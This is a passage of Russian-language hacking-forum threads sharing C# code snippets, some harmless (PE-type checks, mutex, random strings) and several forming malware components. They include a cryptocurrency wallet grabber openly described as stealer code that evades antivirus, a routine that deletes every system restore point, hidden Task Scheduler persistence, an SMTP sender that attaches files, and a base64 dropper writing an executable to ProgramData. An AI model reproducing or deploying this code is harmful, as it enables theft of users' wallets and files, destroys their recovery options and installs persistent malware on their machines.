                if (int.TryParse(a.KeyChar.ToString(), out int i) != char.IsDigit(a.KeyChar))
                {
                    Console.Write(a.KeyChar);
                    str += a.KeyChar;
                }
                if (a.Key == ConsoleKey.Backspace)
                {
                    int currentCursorPos = Console.CursorLeft;
                    Console.SetCursorPosition(currentCursorPos, Console.CursorTop);
                    if (str.Length > 0)
                    {
                        str = str.Substring(0, str.Length - 1);
                    }
                    Console.SetCursorPosition(currentCursorPos + str.Length, Console.CursorTop);
                }
            }
    }
}

И просто вызываете в удобном для Вас месте:

C#:Copy to clipboard

Locker.ConsoleInput();
[C#] Проверяем файл PE (Native или .Net)
ID: 6765d804b4103b69df375a9b
Thread ID: 34348
Created: 2020-01-14T08:03:39+0000
Last Post: 2020-01-14T08:03:39+0000
Author: r3xq1
Replies: 0 Views: 1K

Предложу всего 5 вариантов проверки и все работают корректно ( проверил )
Используйте любой =)

Создаём класс CheckNative.cs

C#:Copy to clipboard

namespace CheckPE_CLR
{
    using System;
    using System.IO;
    using System.Reflection;

    internal class CheckNative
    {
        // 1-й
        public static bool IsDotNetAssembly(string peFile)
        {
            uint peHeader, peHeaderSignature, timestamp, pSymbolTable, noOfSymbol;
            ushort machine, sections, optionalHeaderSize, characteristics, dataDictionaryStart;

            uint[] dataDictionaryRVA = new uint[16];
            uint[] dataDictionarySize = new uint[16];

            try
            {
                using (Stream fs = new FileStream(peFile, FileMode.Open, FileAccess.Read))
                {
                    using (var reader = new BinaryReader(fs))
                    {
                        fs.Position = 60;
                        peHeader = reader.ReadUInt32();
                        fs.Position = peHeader;
                        peHeaderSignature = reader.ReadUInt32();
                        machine = reader.ReadUInt16();
                        sections = reader.ReadUInt16();
                        timestamp = reader.ReadUInt32();
                        pSymbolTable = reader.ReadUInt32();
                        noOfSymbol = reader.ReadUInt32();
                        optionalHeaderSize = reader.ReadUInt16();
                        characteristics = reader.ReadUInt16();

                        dataDictionaryStart = Convert.ToUInt16(Convert.ToUInt16(fs.Position) + 96);
                        fs.Position = dataDictionaryStart;
                        for (int i = 0; i < 15; i++)
                        {
                            dataDictionaryRVA[i] = reader.ReadUInt32();
                            dataDictionarySize[i] = reader.ReadUInt32();
                        }
                        return dataDictionaryRVA[14] == 0 ? false : true;
                    }
                }
            }
            catch (Exception ex) { File.WriteAllText("Error.txt", ex.Message); return false; }
        }
        // 2-й
        public static bool IsAssembly(string file)
        {
            try
            {
                Assembly.LoadFile(file);
                return true;
            }
            catch
            {
                return false;
            }
        }
        // 3-й
        public static bool IsReflection(string filename)
        {
            try
            {
                AssemblyName.GetAssemblyName(filename);
                return true;
            }
            catch { return false; }
        }
        // 4-й
        public static bool IsManagedAssembly(string fileName)
        {
            try
            {
                using (Stream fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
                using (var binaryReader = new BinaryReader(fileStream))
                {
                    if (fileStream.Length < 64) return false;

                    // Заголовок PE начинается @ 0x3C (60). Его заголовка 4 байта.
                    fileStream.Position = 0x3C;
                    uint peHeaderPointer = binaryReader.ReadUInt32();
                    if (peHeaderPointer == 0)
                    {
                        peHeaderPointer = 0x80;
                    }

                    // Обеспечить, по крайней мере, достаточно места для следующих структур:
                    //     24 byte PE Signature & Header
                    //     28 byte Standard Fields         (24 bytes for PE32+)
                    //     68 byte NT Fields               (88 bytes for PE32+)
                    // >= 128 byte Data Dictionary Table
                    if (peHeaderPointer > fileStream.Length - 256)
                    {
                        return false;
                    }

                    // Проверить PE сигнатуры. Должны быть равныl 'PE\0\0'.
                    fileStream.Position = peHeaderPointer;
                    uint peHeaderSignature = binaryReader.ReadUInt32();
                    if (peHeaderSignature != 0x00004550)
                    {
                        return false;
                    }

                    // Пропустить PEHeader поля
                    fileStream.Position += 20;

                    const ushort PE32 = 0x10b, PE32PLUS = 0x20b;

                    /* Пропущенный фрагмент должен был зависеть от словаря данных начинаться по-разному в зависимости от того, являемся ли мы PE32 или PE32Plus: */

                    // Читаем PE магическое число из стандартных полей для определения формата.
                    ushort peFormat = binaryReader.ReadUInt16();
                    if (peFormat != PE32 && peFormat != PE32PLUS) return false;

                    // Читаем 15-й полевой словарь данных RVA, который содержит командной строкой заголовка RVA.
                    // При этом не равно нулю, то файл содержит сведения CLI иначе нет.
                    ushort dataDictionaryStart = (ushort)(peHeaderPointer + (peFormat == PE32 ? 232 : 248));
                    fileStream.Position = dataDictionaryStart;
                    return binaryReader.ReadUInt32() == 0 ? false : true;
                }
            }
            catch (Exception ex) { File.WriteAllText("Error.txt", ex.Message); return false; };
        }
        // 5-й
        public static bool IsGetPEKind(string file)
        {
            try
            {
                var assembly = Assembly.ReflectionOnlyLoadFrom(file);
                assembly.ManifestModule.GetPEKind(out PortableExecutableKinds kinds, out ImageFileMachine imgFileMachine);
                return true;
            }
            catch (Exception) { return false; }
        }
    }
}

И для проверки используем так:

C#:Copy to clipboard

namespace CheckPE_CLR
{
    using System;

    internal partial class Program
    {
        private static void Main(string[] args)
        {
            Console.Title = "Check File Native or Net";

            try
            {
                if (CheckNative.IsGetPEKind(args[0]))
                {
                    Console.WriteLine("Файл DotNet - (Не натив)");
                }
                else
                {
                    Console.WriteLine("Файл PE Native - (Натив)");
                }
            }
            catch (Exception) { Console.Write("Перетащите любой .exe файл на ярлык программы. "); }
            Console.ReadKey();
        }
    }
}

Остальные методы не актуальны! ^_^ "

Для чего нужно?
Это решение конечно же остаётся за Вами) нужно оно вам или нет))
В частности это требуется тем кто пишет обфускатор для проверки тех или иных файлов.

[C#] Resresh Explorer Windows - Обновить проводник
ID: 6765d804b4103b69df375a9c
Thread ID: 34347
Created: 2020-01-14T07:59:46+0000
Last Post: 2020-01-14T07:59:46+0000
Author: r3xq1
Replies: 0 Views: 1K

Простое решение для обновления проводника windows

Создадим класс NativeMethods.cs

C#:Copy to clipboard

internal static class NativeMethods
{
   #region For Refresh WinExplorer

    [DllImport("user32")]
    public static extern int PostMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam);

    [DllImport("user32", CharSet = CharSet.Unicode)]
    public static extern IntPtr FindWindow(string className, string caption);

    [DllImport("user32", CharSet = CharSet.Unicode)]
    public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr startChild, string className, string caption);

    #endregion
}

Создадим класс RefreshExp.cs

C#:Copy to clipboard

public class RefreshExp
{
   public static void Inizialize()
   {
       IntPtr d = NativeMethods.FindWindow("Progman", "Program Manager");
       d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SHELLDLL_DefView", null);
       d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SysListView32", null);
       NativeMethods.PostMessage(d, 0x100, new IntPtr(0x74), IntPtr.Zero);
       NativeMethods.PostMessage(d, 0x101, new IntPtr(0x74), new IntPtr(1 << 31));
   }
}

Теперь достаточно будет вызвать метод: RefreshExp.Inizialize();

Для чего это нужно?

Допустим мы хотим зайти в реестр и убрать видимость скрытых папок, но после изменения значения ничего не происходит пока пользователь не обновит проводник вручную.
Для этого и создана эта функция чтобы можно было автоматически обновить проводник windows.

[C#] Правильный запуск файл(а)ов через ProcessStartInfo
ID: 6765d804b4103b69df375a9e
Thread ID: 34345
Created: 2020-01-14T07:54:07+0000
Last Post: 2020-01-14T07:54:07+0000
Author: r3xq1
Replies: 0 Views: 1K

Заметил что часто начинающие кодеры не умеют правильно пользоваться функцией по запуску файла через Process.Start и поэтому решил сделать вот такой вот простой метод для запуска.

C#:Copy to clipboard

/* Author r3xq1 */

public static bool RunFile(string filename)
{
    if (!string.IsNullOrWhiteSpace(filename)) // Проверка на пустую строку
    {
         try
         {
            var PwsHide = ProcessWindowStyle.Hidden; // Задаём параметры скрытый запуск ( по желанию можно убрать )
            var startInfo = new ProcessStartInfo
            {
                FileName = filename, // Имя запускаемого файла через аргументы
                CreateNoWindow = false, // Не создаём окно
                WindowStyle = PwsHide // Применяем параметры для сокрытия файла
                // Аргументы можно так же передавать тут.
            };
            using (Process info = Process.Start(startInfo)) { info.Refresh(); } // Запускаем файл.
            return true;  // В случае успеха возвращаем true
         }
         catch (Exception) { return false; } // В случае ошибки возвращаем false
    }
    return true;
}

Вот и всё дальше просто запускаете: RunFile("Путь к вашему файлу");

[C#] Отправка почты через Smtp сервер
ID: 6765d804b4103b69df375a9f
Thread ID: 34344
Created: 2020-01-14T07:49:17+0000
Last Post: 2020-01-14T07:49:17+0000
Author: r3xq1
Replies: 0 Views: 1K

Класс для отправки сообщения на почту Mail.ru - Gmail и.т.д сервера.

Для начала создадим класс EmailChecker.cs - Отвечает за проверку Http/Https

C#:Copy to clipboard

namespace SmtpMessage
{
    using System.Text.RegularExpressions;

    public class EmailChecker
    {
        public static bool CheckValidAddress(string emailInput)
        {
            var _regex = new Regex(@"^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$",
            RegexOptions.CultureInvariant | RegexOptions.Compiled);
            return _regex.IsMatch(emailInput) ? true : false;
        }
    }
}

И создадим класс EmailSender.cs - Отвечает за отправку
Весь код прокомментирован!

C#:Copy to clipboard

/* Author r3xq1 */

namespace SmtpMessage
{
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Net;
    using System.Net.Mail;
    using System.Net.Security;
    using System.Security.Cryptography.X509Certificates;
    using System.Text;

    public class EmailSender
    {
        // Сначала добавляем в List все файлы из определённых папок
        private static readonly List<string> AttachFiles = new List<string>
        {
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "f7e4a4595e9ff8ce.png"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "photo_2019-07-06_09-29-58.jpg"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Dazhe_Sigareta_Vypala.gif")
        };

        /// <summary>
        /// Метод для отправки сообщения на почтовый сервер
        /// </summary>
        /// <param name="login">Ваш логин от почты</param>
        /// <param name="displayname">Отображаемое имя вместо почты пользователя</param>
        /// <param name="password">Ваш пароль от почты</param>
        /// <param name="to">Кому отправлять</param>
        /// <param name="logo">Тело сообщения</param>
        /// <param name="server">Сервер почты</param>
        /// <param name="port">Порт почты</param>
        /// <param name="time">Таймаут ожидания для отправки</param>
        /// <returns></returns>
        public static bool Inizialize(string login, string displayname, string password, string to, string logo, string server, int port, int time)
        {
            try
            {
                using (var mess = new MailMessage())
                {
                    mess.From = new MailAddress(login, displayname, Encoding.UTF8); // Адрес отправителя, Отображаемое имя ( за место почты )
                    mess.To.Add(new MailAddress(to, null, Encoding.UTF8)); // Адрес получателя
                    mess.Subject = Environment.UserName; // Тема сообщения
                    mess.SubjectEncoding = Encoding.UTF8; // Кодировка UTF-8 для темы сообщения
                    mess.BodyEncoding = Encoding.UTF8; // Кодировка UTF-8 для тела сообщения
                    mess.Body = logo; // Текст сообщения
                    mess.IsBodyHtml = true; // Сообщение в формате html
                    mess.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure; // Уведомление если доставка неудачна

                    // Проходимся в цикле по List<string>
                    for (int i = 0; i < AttachFiles.Count; i++)
                    {
                        mess.Attachments.Add(new Attachment(AttachFiles[i])); // Добавляем файлы для отправки
                    }

                    using (var client = new SmtpClient($"smtp.{server}", port)) // Задаём параметры сервера и порта для Smtp клиента
                    {
                        // Ssl3 - Используется для защиты транспортного уровня интернет соединений вместе с TLSv1 / 1.1 / 1.2.
                        // По желанию если работает без него можно исключить.
                        ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
                        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
                        //  ServicePointManager.SecurityProtocol &= ~SecurityProtocolType.Ssl3;  - Для отключения

                        client.EnableSsl = true; // Включаем SSL шифрование
                        client.DeliveryMethod = SmtpDeliveryMethod.Network; // Обработка сообщения через Smtp сервер
                        client.UseDefaultCredentials = false; // Это просто флаг, указывающий SMTPClient использовать учетные данные, предоставленные для свойства Credentials.
                        client.Timeout = time; // Ожидание перед отправкой Client.Send
                        client.Credentials = new NetworkCredential(login, password); // Авторизация в почте

                        try
                        {
                            client?.Send(mess); // Отправка сообщения на почту
                            return true;
                        }
                        catch (Exception sendex)
                        {
                            File.WriteAllText("Error_SendMessage.txt", sendex.Message);
                            return false;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                File.WriteAllText("Error_MailMessage.txt", ex.Message);
                return false;
            }
        }

        /// <summary>
        /// Метод для проверки удалённого сертификата
        /// </summary>
        private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) =>
        error == SslPolicyErrors.None ? true : false;
    }
}

Вызываем отправку:

C#:Copy to clipboard

namespace SmtpMessage
{
    using System;

    internal static class Program
    {
        public static void Main()
        {
            string Email_From = "ВашЛогин@mail.ru", Email_To = "КомуОтправлять@mail.ru";

            if (EmailChecker.CheckValidAddress(Email_From) || EmailChecker.CheckValidAddress(Email_To)) // Если почты корректны продолжаем
            {
                EmailSender.Inizialize(Email_From, "Fake", "Пароль от почты", Email_To, "Hello", "mail.ru", 587, 7000);
            }
            Console.ReadKey();
        }
    }
}

[Примечание]
Если используете просто отправку сообщением то время ожидания ставьте от 7000
Если же используете с добавлением файлов то время ожидания ставьте от 12000
В противном случае получите ошибку что "время ожидания истекло ".

[C#] Запрещаем запуск копии программы через Mutex
ID: 6765d804b4103b69df375aa0
Thread ID: 34343
Created: 2020-01-14T07:46:14+0000
Last Post: 2020-01-14T07:46:14+0000
Author: r3xq1
Replies: 0 Views: 1K

Создаём класс RunCheck.cs

C#:Copy to clipboard

using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;

public class RunCheck
{
   public static bool InstanceCheck()
   {
      Assembly assembly = typeof(Program).Assembly;
      var attribute = (GuidAttribute)assembly.GetCustomAttributes(typeof(GuidAttribute), true)[0];
      string id = attribute.Value;
      new Mutex(true, id, out bool isNew); return isNew;
   }
}

Использовать его можно так:

C#:Copy to clipboard

if (RunCheck.InstanceCheck())
{
    // Ваш код...
}
else
{
    Environment.Exit(0);
}
[C#] Класс для генерации рандомных строк
ID: 6765d804b4103b69df375aa1
Thread ID: 34342
Created: 2020-01-14T07:44:15+0000
Last Post: 2020-01-14T07:44:15+0000
Author: r3xq1
Replies: 0 Views: 1K

За место Random используйте всегда RNGCryptoServiceProvider или RandomNumberGenerator Они более безопасны в использование.
P.S: Генерация случайных чисел в .Net

C#:Copy to clipboard

/* Author r3xq1 */
namespace MoreInfoTest.RandomClass
{
    using System;
    using System.Linq;
    using System.Security.Cryptography;
    using System.Text;

    public class GenRandomString
    {
        private static readonly char[] AvailableCharacters =
        {
           'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
           'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
           'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
           'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
           '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-', '_'
        };

        // OutPut: uqlseSTR88znYK6XkkX4gnk4XKVoAT1ScZ1wjRCG
        internal static string GenerateIdentifier(int length)
        {
            char[] identifier = new char[length];
            byte[] randomData = new byte[length];

            using (var rng = new RNGCryptoServiceProvider())
            {
                rng.GetBytes(randomData);
            }

            for (int idx = 0; idx < identifier.Length; idx++)
            {
                identifier[idx] = AvailableCharacters[randomData[idx] % AvailableCharacters.Length];
            }

            return new string(identifier);
        }
        // OutPut: bKdkeZXx3tUxUZmOgGxQoXlRncCpGszgZenKU9PF
        internal static string RandomString(int length)
        {
            const string ALPHABIT = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
            var res = new StringBuilder();
            using (var rng = new RNGCryptoServiceProvider())
            {
                byte[] uintBuffer = new byte[sizeof(uint)];

                while (length-- > 0)
                {
                    rng.GetBytes(uintBuffer);
                    uint num = BitConverter.ToUInt32(uintBuffer, 0);
                    res.Append(ALPHABIT[(int)(num % (uint)ALPHABIT.Length)]);
                }
            }

            return res?.ToString();
        }
        // OutPut: DF-16-CD-28-31-F8-E2-D1-FF-B9-28-3D-7F-9C-8F-88
        internal static string GenNumber()
        {
            using (var rnd = RandomNumberGenerator.Create())
            {
                byte[] buffer = new byte[16];
                rnd.GetBytes(buffer);
                return BitConverter.ToString(buffer);
            }
        }
        // OutPut: zV6rzn7LJhcFdUbzvOow66ouRlYrL36EbB4vDMwjW
        internal static string GenerateRandomSecret()
        {
            char[] validChars = Enumerable.Range('A', 26).Concat(Enumerable.Range('a', 26)).Concat(Enumerable.Range('0', 10)).Select(i => (char)i).ToArray();
            byte[] randomByte = new byte[0x40 + 1];

            using (var rnd = new RNGCryptoServiceProvider())
            {
                rnd.GetBytes(randomByte);
                int secretLength = 0x20 + (int)(0x20 * (randomByte[0] / (double)byte.MaxValue));

                return new string(randomByte.Skip(1).Take(secretLength).Select(b => (int)((validChars.Length - 1) * (b / (double)byte.MaxValue))).Select(i => validChars[i]).ToArray());
            }
        }
        // OutPut: 304e0c4789d1ffeec4114350be24aee5d8211cb6ced59f2cc399db4819f9a08c
        internal static string GenToken()
        {
            using (var rng = new RNGCryptoServiceProvider())
            {
                byte[] randomBuffer = new byte[16];
                rng.GetBytes(randomBuffer);

                using (var md5 = SHA256.Create())
                {
                    byte[] hashBytes = md5.ComputeHash(randomBuffer);

                    var sBuilder = new StringBuilder();
                    foreach (byte byt in hashBytes)
                    {
                        sBuilder.Append(byt.ToString("x2"));
                    }

                    return sBuilder?.ToString();
                }
            }
        }
    }
}

Время выполнения каждого метода:

C#:Copy to clipboard

Console.WriteLine(RandomClass.GenRandomString.RandomString(40)); // 3,2702 ms
Console.WriteLine(RandomClass.GenRandomString.GenerateIdentifier(40)); // 2,6839 ms
Console.WriteLine(RandomClass.GenRandomString.GenerateRandomSecret()); // 26,6338 ms
Console.WriteLine(RandomClass.GenRandomString.GenNumber()); // 7,2761 ms
Console.WriteLine(RandomClass.GenRandomString.GenToken()); // 10,223 ms
[C#] Граббер Wallet.dat файлы
ID: 6765d804b4103b69df375aa2
Thread ID: 34341
Created: 2020-01-14T07:41:24+0000
Last Post: 2020-01-14T07:41:24+0000
Author: r3xq1
Replies: 0 Views: 1K

Когда-то писал стиллер и нужно было собрать файлы Wallet.dat с каждой папки битков.
Делайте под себя =)
Код нужно переделывать, антивири дикие просто палят жестко )

C#:Copy to clipboard

namespace BitSort
{
    using Microsoft.Win32;
    using System;
    using System.IO;

    /* Author r3xq1 */

    public class BitBoard
    {
        public static void GetWallet()
        {
            #region Get Bitcoin

            using (var Bit = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Bit.OpenSubKey(BitcoinQT, Environment.Is64BitOperatingSystem ? true : false))
                {
                    using (RegistryKey Key2 = Bit.OpenSubKey(BitcointQT_x64, Environment.Is64BitOperatingSystem ? true : false))
                    {
                        CopyFiles("Bitcoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat") ?? Path.Combine(Key2?.GetValue("Path")?.ToString(), "Space", "wallet.dat"));
                    }
                }
            }

            #endregion

            #region Get Litecoin

            using (var Lite = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Lite.OpenSubKey(LitecoinQt, Environment.Is64BitOperatingSystem ? true : false))
                {
                    CopyFiles("Litecoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
                }
            }

            #endregion

            #region Get Dashcoin

            using (var Dash = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Dash.OpenSubKey(DashcoinQt, Environment.Is64BitOperatingSystem ? true : false))
                {
                     CopyFiles("Dashcoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
                }
            }

            #endregion

            #region Get Bytecoin

            using (var Byte = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Byte.OpenSubKey(Bytecoint, Environment.Is64BitOperatingSystem ? true : false))
                {
                    CopyFiles("Bytecoin", Path.Combine(Key?.GetValue("_2E72A52970B140DDB9F00AE0E5908B94")?.ToString(), "wallet.dat"));
                }
            }

            #endregion

            #region Get Monero

            using (var Monero = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Monero.OpenSubKey(Monerocoin, Environment.Is64BitOperatingSystem ? true : false))
                {
                    try
                    {
                        string kk = Key?.GetValue("wallet_path")?.ToString().Replace("/", @"\");
                        string reslts = kk.Substring(0, kk.LastIndexOf("\\"));
                        string final = reslts.Substring(0, reslts.LastIndexOf("\\"));
                        MassEnumerate("Monero", final, "*.*");
                    }
                    catch { }
                }
            }

            #endregion

            #region Get Electrum

            MassEnumerate("Electrum", Path.Combine(GlobalPath.AppData, @"Electrum\wallets"), "*.*");

            #endregion

            #region Get Ethereum

            MassEnumerate("Ethereum", Path.Combine(GlobalPath.AppData, @"Ethereum\keystore"), "*.*");

            #endregion

        }

        #region Helpers

        private static void CopyFiles(string dir, string path)
        {
            if (File.Exists(path))
            {
                try
                {
                    string fd = Path.Combine(GlobalPath.User_Name, dir);
                    Directory.CreateDirectory(fd);
                    int size = 0;
                    if (!(new FileInfo(path).Length == size))
                    {
                        File.Copy(path, Path.Combine(fd, Path.GetFileName(path)), true);
                    }
                }
                catch { }
            }
        }
        private static void MassEnumerate(string to, string from, string pattern)
        {
            try
            {
                foreach (string files in Directory.EnumerateFiles(from, pattern, SearchOption.AllDirectories))
                {
                    if (!File.Exists(files))
                    {
                        continue;
                    }
                    else
                    {
                        CopyFiles(to, files);
                    }
                }
            }
            catch (Exception) { }
        }

        #endregion

        #region Variables Path

        private static readonly string BitcoinQT = @"Software\Bitcoin\Bitcoin-Qt";
        private static readonly string BitcointQT_x64 = @"Software\Bitcoin Core (64-bit)";
        private static readonly string LitecoinQt = @"Software\Litecoin\Litecoin-Qt";
        private static readonly string DashcoinQt = @"Software\Dash\Dash-Qt";
        private static readonly string Bytecoint = @"Software\Bytecoin Developers\Bytecoin\{BB770F1D-DC20-AD6C-30F3-1271CA1089E1}";
        private static readonly string Monerocoin = @"Software\monero-project\monero-core";

        #endregion
    }
}

Класс GlobalPath.cs - в котором хранятся все пути:

C#:Copy to clipboard

public class GlobalPath
{
     public static readonly string AssemblyPath = Assembly.GetExecutingAssembly().Location;
     public static readonly string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
     public static readonly string LocalAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
     public static readonly string StartupPath = Path.GetDirectoryName(AssemblyPath);
     public static readonly string DefaultTemp = string.Concat(Environment.GetEnvironmentVariable("temp"), '\\');
     public static readonly string User_Name = string.Concat(DefaultTemp, Environment.UserName);
}
[C#] Добавление программы в планировщик задач
ID: 6765d804b4103b69df375aa3
Thread ID: 34340
Created: 2020-01-14T07:38:41+0000
Last Post: 2020-01-14T07:38:41+0000
Author: r3xq1
Replies: 0 Views: 1K

Создадим метод Scheduler

C#:Copy to clipboard

/* Author r3xq1 */

/// <summary>
/// Метод для добавления программы в автозагрузку через Планировщик задач
/// </summary>
/// <param name="status">Выбор функции Добавить/Удалить задачу</param>
/// <param name="timeset">Выбор таймера по минутам</param>
/// <param name="count">Время запуска программы</param>
/// <param name="priority">Приоритет процесса</param>
/// <param name="taskname">Имя Задачи</param>
/// <param name="filepath">Путь к файлу который запускается в задаче</param>
/// <returns></returns>
public static bool Scheduler(bool status, string timeset, int count, string priority, string taskname, string filepath)
{
    if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath)) return false;

    ProcessWindowStyle PwsHide = ProcessWindowStyle.Hidden;
    ProcessStartInfo startInfo = new ProcessStartInfo
    {
       FileName = "schtasks.exe",
       CreateNoWindow = false,
       WindowStyle = PwsHide
     };
    switch (status) // можно сделать через if кому как удобнее.
    {
         // Добавляет запись в планировщик
        case true: startInfo.Arguments = string.Concat("/create /sc ", timeset, " /mo ", count, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f"); break;
        // Удаляет запись из планировщика
        case false: startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f"); break;
    }
    try
    {
      using (Process info = Process.Start(startInfo)) { info.Refresh(); info.WaitForExit(); }
    }
   catch (Exception) { } startInfo = null;  return true;
}

Вызывается так:

C#:Copy to clipboard

Scheduler(false, "minute", 1, "highest", "NotepadTEST", string.Concat("\"", App, "\"")); // Где App это путь к вашему файлу.
[C#] Удаляем все точки восстановления в системе windows
ID: 6765d804b4103b69df375aa4
Thread ID: 34339
Created: 2020-01-14T07:36:45+0000
Last Post: 2020-01-14T07:36:45+0000
Author: r3xq1
Replies: 0 Views: 1K

Создаём класс NativeMethods.cs запишем в него функцию [SRRemoveRestorePoint](https://href.li/?https://docs.microsoft.com/en- us/windows/win32/api/srrestoreptapi/nf-srrestoreptapi-srremoverestorepoint)

C#:Copy to clipboard

internal static class NativeMethods
{
   [DllImport("Srclient.dll")]
   public static extern int SRRemoveRestorePoint(int index);
}

Создаём класс SysStore.cs
P.S: Не забываем подключить ссылку System.Management

C#:Copy to clipboard

using System;
using System.Management;

/* Author r3xq1 */

public class SysStore
{
  public static void Inizialize()
  {
     try
     {
        using (ManagementObjectCollection searcher = new ManagementObjectSearcher("root\\DEFAULT", "SELECT * FROM SystemRestore").Get())
        {
           foreach (ManagementBaseObject collection in searcher)
           {
              int point = Convert.ToInt32(((uint)collection["sequencenumber"]).ToString());
              NativeMethods.SRRemoveRestorePoint(point);
           }
        }
     }
     catch (Exception) { }
  }
}

Далее просто вызываем в любом месте метод SysStore.Inizialize();

C#:Copy to clipboard

namespace RestorePoints
{
    using System;

    internal static partial class Program
    {
        [STAThread]
        public static void Main()
        {
            SysStore.Inizialize();

            Console.ReadKey(true);
        }
    }
}

После запуска в системе не будет ни одной записи для восстановления системы.

[C#] Создаём простой уникальный ключ HWID
ID: 6765d804b4103b69df375aa5
Thread ID: 34338
Created: 2020-01-14T07:33:01+0000
Last Post: 2020-01-14T07:33:01+0000
Author: r3xq1
Replies: 0 Views: 1K

В работе использовался windows'кий инструмент: wbemtest.exe

C#:Copy to clipboard

namespace UniversallHD
{
    using System;
    using System.Management;
    using System.Security.Cryptography;
    using System.Text;
    using System.Threading.Tasks;

    public class HardwareID
    {
        public static string GET_ID  = ReturnHWID().Result;

        private static async Task<string> ReturnHWID()
        {
            var Sb = new StringBuilder();

            Task.WaitAll((Task)Task.Run(() =>
            {
                using (ManagementObjectCollection ProcessorWin = new ManagementObjectSearcher("SELECT * FROM Win32_Processor").Get())
                {
                    foreach (ManagementObject obj in ProcessorWin)
                    {
                        Sb.Append(obj["ProcessorId"].ToString().Substring(0, 4));
                        break;
                    }
                }

                using (ManagementObjectCollection BiosWin = new ManagementObjectSearcher("SELECT * FROM Win32_BIOS").Get())
                {
                    foreach (ManagementObject bios_Collection in BiosWin)
                    {
                        Sb.Append(bios_Collection["Version"].ToString().Substring(0, 4));
                        break;
                    }
                }

                using (ManagementObjectCollection HardDrive = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive").Get())
                {
                    foreach (ManagementObject hdd_Collection in HardDrive)
                    {
                        Sb.Append(hdd_Collection["Signature"].ToString().Substring(0, 4));
                        break;
                    }
                }
            }));
            try
            {
                byte[] bytes, hashedBytes;
                bytes = Encoding.UTF8.GetBytes(Sb?.ToString());
                using (var Hash = SHA256.Create())
                {
                    hashedBytes = Hash.ComputeHash(bytes);
                }

                return await Task.FromResult(Convert.ToBase64String(hashedBytes).Substring(0x19));
            }
            catch { return GET_ID; }
        }
    }
}

В главном классе вызов:

C#:Copy to clipboard

namespace UniversallHD
{
    using System;
    using System.Text;

    internal static partial class Program
    {
        public static void Main()
        {
            Console.OutputEncoding = Encoding.UTF8;
            Console.Title = "Уникальный ключ HWID";
            Console.WriteLine($"Ваш ключ: {HardwareID.GET_ID}");
            Console.ReadKey();
            Console.Clear();
            Main();
        }
    }
}

В конечном итоге получим уникальный ключ HWID )

играемся с base64(loader) c#
ID: 6765d804b4103b69df375aa9
Thread ID: 34228
Created: 2020-01-07T17:29:07+0000
Last Post: 2020-01-07T17:29:07+0000
Author: ColorS
Replies: 0 Views: 1K

Есть два простеньких методов дропа, можете осуждать, может новичкам пригодится
конвертируете base64, где то около 5 антивирусов считают метод вредоносным в проактиве(eset,avira,и другие) обфускация сильно защищает от скантайма, впрочем можно назвать лоадером, простая реализация Writeallbyte для тех кто только вошел в сферу, конечно для тех кто чуть более шарит дерьмо, но для новичкам более менее

You must have at least 2 reaction(s) to view the content.

самое простое

C#:Copy to clipboard

using System;
using System.IO;
using System.Diagnostics;

namespace PsevdoSoftware
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
string EncryptedFile = "ваш код base64";
try
{
var dFB = Convert.FromBase64String(EncryptedFile);
File.WriteAllBytes(@"C:\ProgramData\Parasha.exe", dFB);
}
catch
{
}
}
}
}

чуть по сложнее структурой... C BASE64 не связан просто скинул...

C#:Copy to clipboard

using System;
